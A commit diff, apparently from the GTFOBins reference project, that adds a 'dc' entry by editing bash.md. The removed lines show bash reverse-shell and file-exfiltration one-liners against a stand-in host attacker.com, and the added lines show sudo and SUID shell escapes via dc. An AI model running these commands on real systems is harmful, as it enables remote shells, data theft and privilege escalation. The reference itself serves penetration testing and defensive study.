Add dc

As initially suggested by #397.

_gtfobins/bash.md

@@ -1,67 +1,9 @@
 ---
 functions:
   shell:
-    - code: bash
+    - code: dc -e '!/bin/sh'
-  reverse-shell:
-    - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
-      code: |
-        export RHOST=attacker.com
-        export RPORT=12345
-        bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
-  file-upload:
-    - description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
-      code: |
-        export RHOST=attacker.com
-        export RPORT=12345
-        export LFILE=file_to_send
-        bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
-    - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
-      code: |
-        export RHOST=attacker.com
-        export RPORT=12345
-        export LFILE=file_to_send
-        bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
-  file-download:
-    - description: Fetch a remote file via HTTP GET request.
-      code: |
-        export RHOST=attacker.com
-        export RPORT=12345
-        export LFILE=file_to_get
-        bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
-            3<>/dev/tcp/$RHOST/$RPORT \
-            | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
-    - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
-      code: |
-        export RHOST=attacker.com
-        export RPORT=12345
-        export LFILE=file_to_get
-        bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
-  file-write:
-    - code: |
-        export LFILE=file_to_write
-        bash -c 'echo DATA > $LFILE'
-    - description: This adds timestamps to the output file.
-      code: |
-        LFILE=file_to_write
-        HISTIGNORE='history *'
-        history -c
-        DATA
-        history -w $LFILE
-  file-read:
-    - description: It trims trailing newlines and it's not binary-safe.
-      code: |
-        export LFILE=file_to_read
-        bash -c 'echo "$(<$LFILE)"'
-    - description: The read file content is surrounded by the current history content.
-      code: |
-        LFILE=file_to_read
-        HISTTIMEFORMAT=$'\r\e[K'
-        history -r $LFILE
-        history
-  library-load:
-    - code: bash -c 'enable -f ./lib.so x'
-  suid:
-    - code: "./bash -p"
   sudo:
-    - code: sudo bash
+    - code: sudo dc -e '!/bin/sh'
+  limited-suid:
+    - code: ./dc -e '!/bin/sh'
 ---